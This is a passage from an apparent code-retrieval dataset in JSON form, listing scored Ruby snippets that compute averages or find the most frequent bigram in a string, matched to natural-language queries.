results.inject{ |sum, el| sum + el }.to_f / results.size\n end", "title": "" }, { "docid": "e2227013259dda378ebfdf80acada4c0", "score": "0.73168474", "text": "def average(nums)\n nums.reduce(0.0, &:+) / nums.size\nend", "title": "" }, { "docid": "02d40c38e86c7dffaaedeff8b2218af1", "score": "0.7300244", "text": "def mean(list_of_numbers)\n sum = 0\n list_of_numbers.each do |number|\n sum = sum + number\n end\n\n return sum.to_f / list_of_numbers.length\nend", "title": "" }, { "docid": "8db554572d83224ac17e00fb32d35aa9", "score": "0.72936034", "text": "def mean\n\t\tsum = 0.0\n\t\t@results.each do |el|\n\t\t\tsum += el[2]-el[3]\n\t\tend\n\treturn sum/@results.length\n\n\tend", "title": "" }, { "docid": "430b2484c34041ef9dce82dd8c0d9910", "score": "0.7293001", "text": "def average numbers\n\tnum = [1,2,3,4,4,3,2,1]\n\nend", "title": "" }, { "docid": "639e50dfda4bda57989e61cdd1b9e583", "score": "0.72897667", "text": "def stat_multi_avg\n l = length.to_f\n stat_multi_sum.collect { |s| s/l }\n end", "title": "" }, { "docid": "2384fb0fd7fe61970ab50ecc5cf228fb", "score": "0.72864324", "text": "def mean(values, ignoring: [], minimum_present: 1)\n compacted_values = values.reject { |v| ignoring.include? v }\n return nil if compacted_values.blank? || compacted_values.length < minimum_present\n sum(compacted_values).to_f / compacted_values.length\n end", "title": "" }, { "docid": "eeb3f9d61b34a88aabc700d8b7610bd6", "score": "0.7284921", "text": "def average(numbers_list)\n sum = numbers_list.reduce(:+)\n sum / numbers_list.size.to_f\nend", "title": "" }, { "docid": "5319bb6bff8892d7662d16f160a19cd3", "score": "0.72806937", "text": "def average(numbers)\n\tnumbers.reduce(:+)/numbers.length.to_f\nend", "title": "" }, { "docid": "78b3d29ccfe030ec9137fb320dcd3bab", "score": "0.72777814", "text": "def calculateAverage(array)\n\t\tsum=0.0\n\t\tarray.each do |item|\n\t\t\tsum=sum+item.to_f\n\t\tend\n\t\treturn sum/array.length\n\tend", "title": "" }, { "docid": "d81f86729dc57ff313a84d06f94114eb", "score": "0.7271512", "text": "def mean(ary)\n # get sum\n sum = ary.reduce(0.0) {|item, acc| acc + item}\n \n # divide by the numbers of element\n return sum/ary.count\nend", "title": "" }, { "docid": "4232a0b5a73fb06264e2ceb29db60f1f", "score": "0.726992", "text": "def mean \n\t\tnew_array = @ratings_test\n\t\ttotal = 0\n\t\tnew_array.each do |x|\n\t\t\tif x[3].to_f>x[2].to_f\n\t\t\t\ty = x[3].to_f-x[2].to_f\n\t\t\telse \n\t\t\t\ty = x[2].to_f-x[3].to_f\n\t\t\tend\n\t\t\ttotal = total + y \n\t\tend\n\t\t\treturn total/new_array.length\n\tend", "title": "" }, { "docid": "5371a26d111783d44102d55342305321", "score": "0.7260462", "text": "def average(numbers)\n numbers.inject(:+) / numbers.size\nend", "title": "" }, { "docid": "ed38325af1fda48d9beec523cbb73ad4", "score": "0.7259745", "text": "def average(arr)\n (arr.reduce(&:+).to_f / arr.size).round\nend", "title": "" }, { "docid": "3b2f37df20fed5c4a9de0389d3dddc82", "score": "0.7258495", "text": "def average(array)\n sum = 0\n array.each { |el| sum += el }\n sum.to_f / array.length\nend", "title": "" }, { "docid": "fb2fe3a8385549b74d1f1a6e493e2403", "score": "0.7255577", "text": "def averages(arr)\n\taverages = []\n\treturn averages if arr.nil? || arr.empty?\n\n\tarr.each_with_index do |num, index| #[1, 3, 5, 1, -10]\n\t\taverages << ((num + arr[index + 1])/2.0)# (1 + 3)/2\n\t\tbreak if index == (arr.size - 2)\n\tend\n\treturn averages\nend", "title": "" }, { "docid": "c2b1e349e587ea66099d9618a9e38c9f", "score": "0.72534394", "text": "def mean(ary)\n tot = ary.reduce {|i, acc| i + acc }\n avg = tot.to_f/ary.length\nend", "title": "" }, { "docid": "675d75244c0fe7575a8e0158e19edc83", "score": "0.7252336", "text": "def mean(v)\n\tcount = 0\n\ti = 0\n\tavg=0\n\t\n\tv.each do |val|\n\t\tcount += val\n\t\ti += 1\n\tend\n\t\n\treturn avg = count / i\n\nend", "title": "" }, { "docid": "5a99a6fdf2abf1c7e7ec9c679bbeedbe", "score": "0.7246553", "text": "def average numbers\n\n\taverage = []\n\tnumbers =[]\n\tavg = numbers.length\n\n\tnumbers.reduce do |total, number|\n\t\ttotal+number\n\tend\n\t\nend", "title": "" }, { "docid": "e88e9fc9ec06ff840bbe8530ccf46420", "score": "0.7244296", "text": "def average(input_array)\n sum = input_array.reduce(:+) # => 154, 242\n average = sum/(input_array.size) # => 25, 40\nend", "title": "" }, { "docid": "6932cd180c16c24475931b10c61e6fe6", "score": "0.7237156", "text": "def mean()\n er = 0\n @final_list.each do |data|\n er += (data[2].to_f - data[3].to_f).abs\n end\n return er / @final_list.length\n end", "title": "" }, { "docid": "5c297c83c549b0561df0431fa0a0636b", "score": "0.7235543", "text": "def average(array)\n sum = 0.0 # Initialize as float to avoid integer division\n\n for int in array # Sum all numbers in array\n sum += int\n end\n\n sum / array.size # Divide by number of numbers\nend", "title": "" }, { "docid": "cc1b48101d91c22a5312ecf8d7939347", "score": "0.72336155", "text": "def avg_nums(nums)\n sum = 0\n nums.each do |num|\n sum += num\n end\n return sum/nums.length\nend", "title": "" }, { "docid": "4ab2cb11a878516f8405fbe5cd8fae2a", "score": "0.72331136", "text": "def average(num_1, num_2, num_3) # take in 1, 2, 3\n (num_1 + num_2 + num_3) / 3.0 # (1 + 2 + 3) = 6 / 3 = 2\nend", "title": "" }, { "docid": "6361c3ca1fe6d4a37cacc86a9bd7082e", "score": "0.72224283", "text": "def array_average(arr)\n return arr.reduce(:+).to_f / arr.size\n end", "title": "" }, { "docid": "93c4535da82d27e2546807e42e756390", "score": "0.72168183", "text": "def average(grades)\n\t# we transform the array into the sum of its values\n\tsum = grades.reduce(&:+)\n\t# we return the sum divided by the number of grades\n\treturn sum / grades.length\nend", "title": "" }, { "docid": "93c4535da82d27e2546807e42e756390", "score": "0.72168183", "text": "def average(grades)\n\t# we transform the array into the sum of its values\n\tsum = grades.reduce(&:+)\n\t# we return the sum divided by the number of grades\n\treturn sum / grades.length\nend", "title": "" }, { "docid": "40e71cf8338234efc3312ba9b8430083", "score": "0.7201068", "text": "def mean(numbers_ary)\n numbers_ary.inject(0) { |sum, i| sum + i }.to_f / numbers_ary.size\n end", "title": "" }, { "docid": "d8ab56d135296cd4cffbaf75cd3f68b1", "score": "0.7199929", "text": "def average(ary)\r\n x = ary.sum.to_f/ary.length\r\nend", "title": "" }, { "docid": "4bd518070cd161c645f325bd115a2b66", "score": "0.7198336", "text": "def geom_mean(array)\n return array[0].to_f if array.length == 1\n array.reduce(:+) / array.size.to_f\n # sum = 0.0\n # array.each{ |v| sum += Math.log(v.to_f) }\n # sum /= array.size\n # Math.exp sum\n end", "title": "" }, { "docid": "dab8052b5b5c699e2799a75ff92a96ae", "score": "0.71967167", "text": "def mean\n\t\tsum = @error_values.reduce(:+)\n\t\tavg = sum.to_f / @error_values.length\n\tend", "title": "" }, { "docid": "0e41fd7bb97d2f3da4a1c5c1a84b0308", "score": "0.7196052", "text": "def array_average(array)\n total = 0\n array.each { |int| total += int }\n total/array.size\nend", "title": "" }, { "docid": "57d080ae99229a59e8e6c87013a4ea91", "score": "0.7193043", "text": "def mean\n sum = 0.0\n @results.each do |arr|\n error = (arr[2]-arr[3]).abs\n sum += error\n end\n return (sum/@results.size)\n end", "title": "" }, { "docid": "6d43a19d74eacc0fe10f83dcdbca433c", "score": "0.71925867", "text": "def avg(list)\n total = 0\n list.each do |i|\n total += i # means the same thing as total = total + i\n end\n\n return total / list.size.to_f\nend", "title": "" }, { "docid": "17ee41908861a65788e7996cf7748442", "score": "0.71892333", "text": "def average_array(array)\n sum = 0.0\n\n array.each do |ele| \n sum += ele\n end\n\n return sum / array.length\nend", "title": "" }, { "docid": "f0a2524be5e2ac48a34c6196b27e3a6c", "score": "0.7186757", "text": "def average\n sum/length\n end", "title": "" }, { "docid": "2fca308bb46a98fd224585409ed5abb7", "score": "0.7181282", "text": "def mean(series)\n series.inject(&:+) / series.length\n end", "title": "" }, { "docid": "88ba84ecf1384d079c4921035042d566", "score": "0.7178197", "text": "def calc_mean(ary)\n ary.reduce(:+)/ary.size rescue 0\nend", "title": "" }, { "docid": "7fa7d80d284e38af5e8f01513f12c409", "score": "0.7175181", "text": "def mean(*numbers)\n sum = numbers.inject(:+)\n \n return sum / numbers.length\nend", "title": "" }, { "docid": "cc6c506b2e8c09cc187cc69e25eb6174", "score": "0.7175065", "text": "def average\n return nil if @numSamples < 1\n @sumSamples.to_f / @numSamples\n end", "title": "" }, { "docid": "50f1751e619f9a9f4b3f9757abfafdf6", "score": "0.71705246", "text": "def find_average(array)\n (array.sum / array.count).to_f\nend", "title": "" }, { "docid": "f118f5a33e2a186540876b961bedfb8f", "score": "0.7170417", "text": "def calculate_average array\n\tsum = 0\n\tarray.each { |item| unless (item.nil?) then sum += item end }\n\t\n\treturn average = sum.to_f / array.size\nend", "title": "" }, { "docid": "0e442ccd1f95755e45b3e6c9e294b3b7", "score": "0.71662945", "text": "def average(array)\n sum = 0.0\n array.each do |num|\n sum += num\n end\n avg = sum / array.length\n p avg\nend", "title": "" }, { "docid": "ad1332c2f28086b515abd7a8286a71b4", "score": "0.7166251", "text": "def mean(x)\n sum = 0.0\n x.each { |v| sum += v }\n sum / x.length\nend", "title": "" }, { "docid": "ad1332c2f28086b515abd7a8286a71b4", "score": "0.7166251", "text": "def mean(x)\n sum = 0.0\n x.each { |v| sum += v }\n sum / x.length\nend", "title": "" }, { "docid": "2ede0f067908d2e3a77f98aa03985779", "score": "0.7166143", "text": "def average(array)\n (array.sum / array.count).to_f\nend", "title": "" }, { "docid": "90bd1e48f6ff33a705b5f37f3ac5e19a", "score": "0.71644044", "text": "def mean x\n sum=0\n x.each do |item|\n sum+=item.to_f\n end\n return sum.to_f/(x.size)\nend", "title": "" }, { "docid": "b39c436669f691e7ed08b54e9808f163", "score": "0.71621406", "text": "def calculate_mean(vals)\n if (vals.size == 0)\n mean = 0\n else\n mean = vals.inject(0) { |sum, x| sum += x } / vals.size.to_f\n end\n return mean\n end", "title": "" }, { "docid": "a3331c930e119f4b25d6d710681a2fe6", "score": "0.7160651", "text": "def average(array)\n array.sum / array.count.to_f\nend", "title": "" }, { "docid": "e143d79f2ffd0cfa2802518531550b11", "score": "0.71544874", "text": "def mean(array)\n array.sum.to_f / array.count.to_f\nend", "title": "" }, { "docid": "5cc746bad52c41610b39635a432d3692", "score": "0.7154377", "text": "def average\n total = 0\n self.each { |n| total += n unless n.nil? }\n return total / self.compact.size.to_f\n end", "title": "" }, { "docid": "596b8db1d6047f1e41718dbe9e78cb91", "score": "0.7154303", "text": "def average(arr)\n sum = 0\n arr.each { |n| sum += n }\n sum / arr.length # to return float, use sum.to_f for this step\nend", "title": "" }, { "docid": "12703e6e6c771a69ccdd6fc871c748e1", "score": "0.71527076", "text": "def array_avg(arr)\n (arr.reduce(:+).to_f / arr.length).round(2)\nend", "title": "" } ]
787b2bffc371166dee9b58d3f0bf450d
Write a method, most_frequent_bigram, that takes in a string and returns the two adjacent letters that appear the most in the string.
[ { "docid": "15c9cc9461f03930fdbee2caaaa9682c", "score": "0.8843646", "text": "def most_frequent_bigram(str)\n freq_counts = Hash.new(0)\n (0...str.length - 1).each do |i|\n bigram = str[i, 2]\n freq_counts[bigram] += 1\n end\n freq_counts.max_by {|k, v| v}.first\nend", "title": "" } ]
[ { "docid": "ca50c37a6f1da5bc55445aa0c339ac63", "score": "0.8957281", "text": "def most_frequent_bigram(str)\n counter = Hash.new\n bigrams = str.substrings(2)\n bigrams.max_by {|ele| bigrams.count(ele)}\nend", "title": "" }, { "docid": "dec23deac300bbff0a8e5c469292f540", "score": "0.89214426", "text": "def most_frequent_bigram(str)\n\nend", "title": "" }, { "docid": "a63c1c76095c229735e227976f78382b", "score": "0.88978004", "text": "def most_frequent_bigram(str)\n bigrams = []\n (0...(str.length-1)).each do |idx|\n bigrams << str[idx] + str[idx + 1]\n end\n most_frequent = \"\"\n i = 0\n bigrams.each do |bigram|\n if bigrams.count(bigram) > i\n most_frequent = bigram\n i = bigrams.count(bigram)\n end\n end\n most_frequent\nend", "title": "" }, { "docid": "e6a041df1bb0bf42f3bb508ad8fa4a3c", "score": "0.88661444", "text": "def most_frequent_bigram(str)\n #debugger\n appearances = Hash.new(0)\n bigram = []\n (0...str.length - 1).each {|i| bigram << str[i] + str[i + 1]}\n bigram.each {|bi| appearances[bi] += 1}\n max = ''\n appearances.each_key {|k| max = k if appearances[k] > appearances[max]}\n max\nend", "title": "" }, { "docid": "27b5b831c382090bc7c5d256c6e81108", "score": "0.8835378", "text": "def most_frequent_bigram(str)\n largest = [\"\", 0]\n (0..str.length - 2).each_with_object(Hash.new(0)) do |i, substrings|\n substrings[str[i..i + 1]] += 1\n if substrings[str[i..i + 1]] > largest[1]\n largest = [str[i..i + 1], substrings[str[i..i + 1]]]\n end\n end\n largest[0]\nend", "title": "" }, { "docid": "5fde3a820a3684f91d979be35a7c3038", "score": "0.88171566", "text": "def most_frequent_bigram(str)\n bigram_counts = Hash.new(0)\n str.chars.each_with_index do |char1, idx|\n next if idx > str.length - 2\n\n char2 = str[idx + 1]\n bigram = char1 + char2\n bigram_counts[bigram] += 1\n end\n\n best_bigram = bigram_counts.inject { |accumulator, (k, v)| v > accumulator[1] ? [k, v] : accumulator}\n best_bigram[0]\nend", "title": "" }, { "docid": "b150af244e7aa3129e5fcd1539b7d7d9", "score": "0.8816747", "text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n str.each_char.with_index do |el, i|\n bigrams[str[i]+str[i+1]] += 1 unless i == str.length-1\n end\n bigrams.max_by{|k,v| v}[0]\nend", "title": "" }, { "docid": "c8de375fee78901fbc824820dd252638", "score": "0.88145834", "text": "def most_frequent_bigram(str)\n bigram_counts = Hash.new(0)\n\n str.chars.each_with_index do |char1, idx|\n char2 = str.chars[idx + 1]\n bigram = \"#{char1}#{char2}\"\n bigram_counts[bigram] += 1\n end\n\n best_bigram = nil\n best_count = 0\n bigram_counts.each do |key, val|\n if val > best_count\n best_count = val\n best_bigram = key\n end\n end\n\n best_bigram\nend", "title": "" }, { "docid": "a44152d7acffad9d630ae9dac20cc109", "score": "0.8802825", "text": "def most_frequent_bigram(str)\n bigrams = Hash.new { |k, v| k[v] = 0 }\n i = 0\n while i < str.length - 1\n bigrams[str[i..i + 1]] += 1\n i += 1\n end\n bigrams.key(bigrams.values.max)\nend", "title": "" }, { "docid": "09cb79931a4df064b0128a3e64e68249", "score": "0.8797982", "text": "def most_frequent_bigram(str)\n count = Hash.new(0)\n (0...str.length).each do |i|\n count[str[i..i+1]] +=1\n end\n count.key(count.values.max)\nend", "title": "" }, { "docid": "b7505b74dcdaa2b9f79b12ad5f4d3c6e", "score": "0.87825185", "text": "def most_frequent_bigram(str)\n \n arr = []\n count = [0]\n\n\n str.each_char.with_index do |ele, idx|\n if idx == str.length - 1\n next\n else\n if arr.include?(ele + str[idx + 1])\n next\n else\n arr << ele + str[idx + 1]\n end\n end\n end\n\n arr.each do |ele|\n if str.scan(/(?=#{ele})/).length > count[0]\n count[0] = str.scan(/(?=#{ele})/).length\n count[1] = ele\n else\n next\n end\n end\n\n return count[1]\n\nend", "title": "" }, { "docid": "bc7b7d4344193d948ca85d46aaeb251c", "score": "0.87812", "text": "def most_frequent_bigram(str)\n bigram_hash = Hash.new { |hash, key| hash[key] = 0 }\n (0...(str.length - 1)).to_a.each do |idx|\n bigram = str[idx] + str[idx + 1]\n bigram_hash[bigram] += 1\n end\n most_frequent = bigram_hash.values.max\n bigram_hash.select { |key, value| value == most_frequent }.keys.join\nend", "title": "" }, { "docid": "d0e3762870155878289c576c1a64aa3d", "score": "0.8773023", "text": "def most_frequent_bigram(str)\n counter = Hash.new(0)\n (0...str.length-1).each do |i|\n bigram = str[i]+str[i+1]\n counter[bigram] += 1\n end\n\n sorted = counter.sort_by {|k,v| -v}\n return sorted[0][0]\nend", "title": "" }, { "docid": "f8be6c4a746d1632bc99e39689baa2fb", "score": "0.8761622", "text": "def most_frequent_bigram(str)\n bigrams = []\n\n str.each_char.with_index do |char, idx| \n str.each_char.with_index do |char2, idx2| \n pair = char+char2\n bigrams << pair if idx2 == idx +1\n\n end\n end\n counts = Hash.new(0)\n bigrams.each { |bigram| counts[bigram] += 1 } \n counts.key(counts.values.max)\nend", "title": "" }, { "docid": "40583be9153bb7f804437d5e974711c0", "score": "0.87605053", "text": "def most_frequent_bigram(str)\n\n count = Hash.new(0)\n bigrams = []\n\n (0...str.length).each do |idx1|\n (1...str.length).each do |idx2|\n if idx2-1 == idx1\n bigrams << str[idx1..idx2]\n end\n end\n end\n\n bigrams.each do |bigram|\n count[bigram] += 1\n end\n\n count.key(count.values.max)\n\nend", "title": "" }, { "docid": "e3af0f3d1b0dd2fb7e922a154396f63e", "score": "0.8757167", "text": "def most_frequent_bigram(str)\n counter = Hash.new(0)\n (0...str.length - 1).each do |i|\n bigram = str[i] + str[i + 1]\n counter[bigram] += 1\n end\n sorted = counter.sort_by { |k, v| v }\n sorted[-1][0]\nend", "title": "" }, { "docid": "7a06e5a5f175849fd342722125b8926c", "score": "0.87557477", "text": "def most_frequent_bigram(str)\n\n all_bigrams = []\n (0...str.length-1).each { |start_idx| all_bigrams << str[start_idx..start_idx+1] }\n counts = Hash.new(0)\n all_bigrams.each { |ele| counts[ele] += 1 }\n counts.select { |k,v| v == counts.values.max }.keys[0]\nend", "title": "" }, { "docid": "dfd9bb7e49f79701d55f53a786447729", "score": "0.8751424", "text": "def most_frequent_bigram(str)\n bg_hash = Hash.new(0)\n (0...str.size - 1).each do |i|\n bg_hash[str[i] + str[i + 1]] += 1\n end\n bg_hash.max_by { |_, v| v }.first\nend", "title": "" }, { "docid": "5625fa81d99653536cdd94f2430accfa", "score": "0.87475044", "text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n i = 0\n while i < str.length - 1\n bigrams[str[i..i + 1]] += 1\n i += 1\n end\n max_big_val = 0\n biggest_big = str[0..1]\n bigrams.each do |key, val|\n if max_big_val < val\n max_big_val = val\n biggest_big = key\n end\n end\n biggest_big\nend", "title": "" }, { "docid": "195caf4dc6ec80f923eefcbeb61c53d0", "score": "0.8736598", "text": "def most_frequent_bigram(str)\n frequency_counter = Hash.new(0)\n i = 0\n j = i+1\n while j < str.length\n frequency_counter[str[i]+str[j]] += 1\n i += 1\n j = 1+j\n end\n frequency_counter.max_by { |k,v| v}[0]\nend", "title": "" }, { "docid": "d87683b11a6d5cae61698c559d3de827", "score": "0.873322", "text": "def most_frequent_bigram(str)\n x = 0\n y = 1\n bigrams = []\n while y < str.length\n bigrams << str[x..y]\n x += 1\n y += 1\n end\n hash = Hash.new(0)\n bigrams.each do |bigram|\n hash[bigram] += 1 if str.include?(bigram)\n end\n\n i = hash.values.max\n hash.key(i)\nend", "title": "" }, { "docid": "95266b8a51bc7a1fc512874fcd65d520", "score": "0.8733084", "text": "def most_frequent_bigram(str)\n check = Hash.new(0)\n str.each_char.with_index do |char1, i|\n str.each_char.with_index do |char2, k|\n if k > i && (k-i == 1)\n check[char1 + char2] += 1\n end\n end\n end\n return check.key(check.values.max)\nend", "title": "" }, { "docid": "2c3e38aa307111ccad56a433b0b7606a", "score": "0.8718981", "text": "def most_frequent_bigram(str)\nsort = Hash.new(0)\n (0..str.length-2).each {|i| sort[str[i]+str[i+1]] += 1 }\n return (sort.sort_by {|k, v| v})[-1][0]\n \nend", "title": "" }, { "docid": "731e51e63ce33b9b7f9de4b95962c5e6", "score": "0.8713361", "text": "def most_frequent_bigram(str)\n bigramHash = Hash.new(0)\n (0...str.length-1).each do |i|\n bigram = str[i..i+1]\n bigramHash[bigram] += 1\n end\n return bigramHash.key(bigramHash.values.max)\nend", "title": "" }, { "docid": "e50b28e6f91ff6ee684ed0a402ceaf52", "score": "0.87110984", "text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n\n (0...str.length - 1).each do |i|\n bigrams[str[i..i + 1]] += 1\n end\n bigrams.max_by { |_k, v| v }[0]\nend", "title": "" }, { "docid": "f790c505887c435f4a6cb2c2531c8569", "score": "0.8707237", "text": "def most_frequent_bigram(str)\n hash = Hash.new(0)\n (0...str.length-1).each do |idx|\n bigram = str[idx..idx+1]\n hash[bigram] += 1\n end\n hash.max_by{|k,v| v}[0]\nend", "title": "" }, { "docid": "90b6f307d45df62288a7de9397424d49", "score": "0.87050426", "text": "def most_frequent_bigram(str)\n bigrams = str.bigrams\n most_freq_with_count = bigrams.reduce(['', 0]) do |acc, bigram|\n count = str.scan(/#{bigram}/).length\n acc[1] > count ? acc : [bigram, count]\n end\n most_freq_with_count[0]\nend", "title": "" }, { "docid": "1c468676635143967745eb18e112295d", "score": "0.8704256", "text": "def most_frequent_bigram(str)\n\n #generate all bigrams\n\n bigrams = []\n\n (0...(str.length)-1).each do |ind|\n bigrams << str[ind..ind+1]\n end\n\n #count bigrams\n\n counter = Hash.new(0)\n bigrams.each do |bigram|\n counter[bigram]+=1\n end\n\n #sort counter based on the values\n\n sorted = counter.sort_by {|k,v| v}\n\n #return the one with highest v\n\n sorted[-1][0]\n\nend", "title": "" }, { "docid": "44e61b952f3a066f8294891461372772", "score": "0.86979705", "text": "def most_frequent_bigram(str)\n bigram_hash = Hash.new(0)\n (0...str.length - 1).each do |ind|\n sub = str[ind..ind + 1]\n bigram_hash[sub] += 1\n end\n biggest = bigram_hash.values.sort.reverse!\n return bigram_hash.key(biggest[0])\nend", "title": "" }, { "docid": "18f036a07ea9d7804c5d17e03b7abe81", "score": "0.86423683", "text": "def most_frequent_bigram(str)\nstrarr=str.split(\"\")\nbigrams=(0...strarr.length-1).map{|idx| strarr[idx]=strarr[idx]+strarr[idx+1] }\nhashcount = Hash.new(0)\nbigrams.each {|bigram| hashcount[bigram]+=1}\nhashcount.key(hashcount.values.max)\nend", "title": "" }, { "docid": "2c89fb2590d726d61bff4cec70ccf9db", "score": "0.8621094", "text": "def most_frequent_bigram(str)\n bi_hash = Hash.new(0)\n\n (0...str.length-1).each do |i|\n bi = str[i..i+1]\n bi_hash[bi] += 1\n end\n \n sorted = bi_hash.sort_by { |k,v| v }\n\n sorted.last[0]\nend", "title": "" }, { "docid": "4747a063e37dcada1a42eea27ee95371", "score": "0.8612044", "text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n (0...str.size - 1).each do |index|\n # bigram = str[index] + str[index + 1]\n bigram = str[index..index + 1]\n bigrams[bigram] += 1\n # .each do |first|\n # (first)\n end\n sorted = bigrams.sort_by { |_bigram, count| count }\n sorted[-1][0]\n # sorted.last[0]\nend", "title": "" }, { "docid": "622808d20cad11d3c7f3a386d2ab4800", "score": "0.86082214", "text": "def most_frequent_bigram(str) \n hash = Hash.new(0)\n (0...str.length - 1).each do |i|\n hash[str[i] + str[i + 1]] += 1\n # str.each_char.with_index do |char, idx|\n # hash[char + str[idx + 1]] += 1 if idx < str.length - 2\n end\n sorted = hash.sort_by{|k,v|v}\n sorted[-1][0]\nend", "title": "" }, { "docid": "6397bd3f882e7a1d129c7008d1915f74", "score": "0.8603914", "text": "def most_frequent_bigram(str)\n #create hash key = bigram, value = occurrences\n #return key with highest value\n biHash = {}\n\n (0...str.length-1).each do |char|\n #check if the hash contains the char\n #if the hash does not contain the char add it\n #if exists increment value ++\n letter = str[char] + str[char+1]\n if biHash.has_key?(letter)\n biHash[letter] += 1\n else\n biHash[letter] = 1\n end\n end\n\n #return key of highest value\n biHash.key(biHash.values.max)\nend", "title": "" }, { "docid": "a24602004acb40bd136faeaa52afa6c9", "score": "0.8598967", "text": "def most_frequent_bigram(str)\n bigram = Hash.new(0)\n string = \"\"\n (0...str.length-1).each do |i|\n string = str[i] + str[i+1]\n bigram[string] += 1\n end\n\n sorted = bigram.sort_by {|k, v| v}\n return sorted.last[0]\n\nend", "title": "" }, { "docid": "cf29783b4c7e06aebc272880914e2381", "score": "0.8595945", "text": "def most_frequent_bigram(str)\n hash = Hash.new(0)\n (0...str.length-1).each do |i|\n pair = str[i..i+1]\n hash[pair] += 1\n end\n max_v = 0\n max_k = \"\"\n hash.each do |k,v|\n if v>max_v\n max_v = v\n max_k = k\n end\n end\n max_k\nend", "title": "" }, { "docid": "394059ee152b1ac3299f04a587376075", "score": "0.85815936", "text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n\n (0...str.length - 1).each do |i|\n first = str[i]\n second = str[i + 1]\n pair = first + second \n bigrams[pair] += 1 \n end \n\n maximum = bigrams.sort_by { |k, v| v}\n maximum.last[0]\nend", "title": "" }, { "docid": "61643888f06024167ae0005291613d8e", "score": "0.8571842", "text": "def most_frequent_bigram(str)\n bigram_counts = Hash.new(0)\n\n (0...str.length - 1).each do |i|\n bigram = str[i..i + 1]\n bigram_counts[bigram] += 1\n end\n p bigram_counts\n sorted = bigram_counts.sort_by { |k, v| v }\n sorted.last[0]\nend", "title": "" }, { "docid": "7fd04837fff77461955cd55bc4e95850", "score": "0.85701644", "text": "def most_frequent_bigram(str)\n counter = Hash.new(0) \n #create a hash that counts each bigram \n #{\"go\"=>1, \"ot\"=>2, \"to\"=>1, \"th\"=>1, \"he\"=>1, \"em\"=>1, \"mo\"=>1, \"oo\"=>3, \"on\"=>2, \"ns\"=>1, \n #\"so\"=>1, \"nf\"=>1, \"fo\"=>1, \"or\"=>1, \"rp\"=>1, \"pr\"=>1, \"ro\"=>1, \"of\"=>1, \"f\"=>1}\n (0...str.length).each do |i|\n bigram = str[i..i+1]\n counter[bigram]+=1\n end\n sorted = counter.sort_by {|str,n| n}\n #sort hash into an array (increasing order)\n #[[\"f\", 1], [\"ro\", 1], [\"of\", 1], [\"go\", 1], [\"to\", 1], [\"th\", 1], [\"he\", 1], [\"em\", 1], [\"mo\", 1],\n #[\"ns\", 1], [\"so\", 1], [\"nf\", 1], [\"fo\", 1], [\"or\", 1], [\"rp\", 1], [\"pr\", 1], [\"ot\", 2], [\"on\", 2],\n # [\"oo\", 3]]\n sorted.last[0] #sorted.last -> [\"oo\",3] sorted.last[0] -> \"oo\"\n #returns the last(highest counted value)\nend", "title": "" }, { "docid": "c47e5890cc19b1417a5d845584cd1a15", "score": "0.8563435", "text": "def most_frequent_bigram(str)\n i = 0\n count = Hash.new(0)\n while i < str.length-1\n j = i + 1\n if str[j+1...str.length].include?(str[i..j])\n x = j + 1\n while x < str.length-1\n y = x + 1\n if str[x..y] == str[i..j]\n count[str[i..j]] += 1\n end\n x += 1 \n end\n end\n i += 1\n end\n count.key(count.values.max) # Get the key having max value\nend", "title": "" }, { "docid": "b14bdc77ff8d41262b50f76cc3781179", "score": "0.85192776", "text": "def most_frequent_bigram(str)\n i=0\n var = ''\n arr =[]\n new_hash = {}\n hash =Hash.new(0)\n (0...str.length-1).each do |i|\n var = str[i] + str[i+1]\n arr << var\n end\n arr.each do |ele|\n hash[ele]+=1\n end\n new_hash = hash.sort_by {|k, v| v}\n return new_hash[-1][0]\nend", "title": "" }, { "docid": "a56a6c0dc6db2a5f9bc4154a90947c24", "score": "0.8481032", "text": "def most_frequent_bigram(str)\n counter = Hash.new(0)\n final_count = str[0..1]\n (0...str.length).each do |idx|\n counter[str[idx..idx+1]] += 1\n end\n\n counter.each do |k,v|\n if counter[k] > counter[final_count]\n final_count = k\n end\n end\n\n return final_count\n\n\nend", "title": "" }, { "docid": "eadddd22ef60f952962d6987276064a4", "score": "0.8387876", "text": "def most_frequent_bigram(str)\n new_hash = Hash.new(0)\n (0...str.length).each do |i|\n new_hash[str[i...i+2]] += 1 if str[i...i+2].length == 2\n end\n max = 0\n keys = \"\"\n new_hash.each do |k, v|\n if v > max\n max = v\n keys = k\n end\n end\n return keys\nend", "title": "" }, { "docid": "20ecbbf32f1d3200f78c15c1bac24f5f", "score": "0.8315099", "text": "def most_frequent_bigram(str)\n arr = []\n hsh = Hash.new(0)\n\n (0...str.length-1).each do |idx| \n arr << str[idx..idx+1]\n end\n arr.each do |ele| \n hsh[ele] += 1 \n end\n hsh.sort_by { |k,v| v }.last.first\nend", "title": "" }, { "docid": "53e01b373b9be1545c667c3aa9643c98", "score": "0.7935095", "text": "def most_frequent_letter(string)\n hash = Hash.new(0)\n string.split('').each do |char|\n hash[char] += 1 if char.between?('a','z')\n end\n ret = ''\n biggest = 0\n hash.each do |k,v|\n if v > biggest\n biggest = v\n ret = k\n end\n end\n ret\nend", "title": "" }, { "docid": "b3ddc58ce43301516aeebeedc2e872ae", "score": "0.7789624", "text": "def most_frequent_letter(string)\n result = Hash.new(0)\n\n string.split(\" \").each do |word|\n word.each_char { |char| result[char] += 1 }\n end\n\n result.key(result.values.max)\nend", "title": "" }, { "docid": "d5cd2af60b5dfde103d9a134b88bda69", "score": "0.76825213", "text": "def most_frequent_letter(string)\n\n\talpha_count = Hash.new 0\n\tstring_splitted = string.delete(\" \").split(\"\")\n\n\tstring_splitted.each { |letter| alpha_count[letter] += 1 }\n\n most_letter = []\n most_count = 0\n\n alpha_count.each do |letter, number|\n\n \tif number > most_count\n \t\tmost_count = number\n \t\tmost_letter = letter\n \tend\n\n end\n most_letter\nend", "title": "" }, { "docid": "bf38e99d20ca40c4c80bc137cbb9b32f", "score": "0.76543", "text": "def most_frequent_word(str)\n words = word_count(str)\n words.sort_by{|key, value| value}[-1][0]\nend", "title": "" }, { "docid": "64c7295c2cdefaa01477c890e46215b5", "score": "0.76435834", "text": "def most_frequent_word string\n word_count = word_count string\n word_count.empty? ? nil : word_count.invert.max[1]\nend", "title": "" }, { "docid": "660b3983137eef9d1aa2d0b60a0fb9aa", "score": "0.7628441", "text": "def most_frequent_letter(string)\n hash = Hash.new(0)\n array = 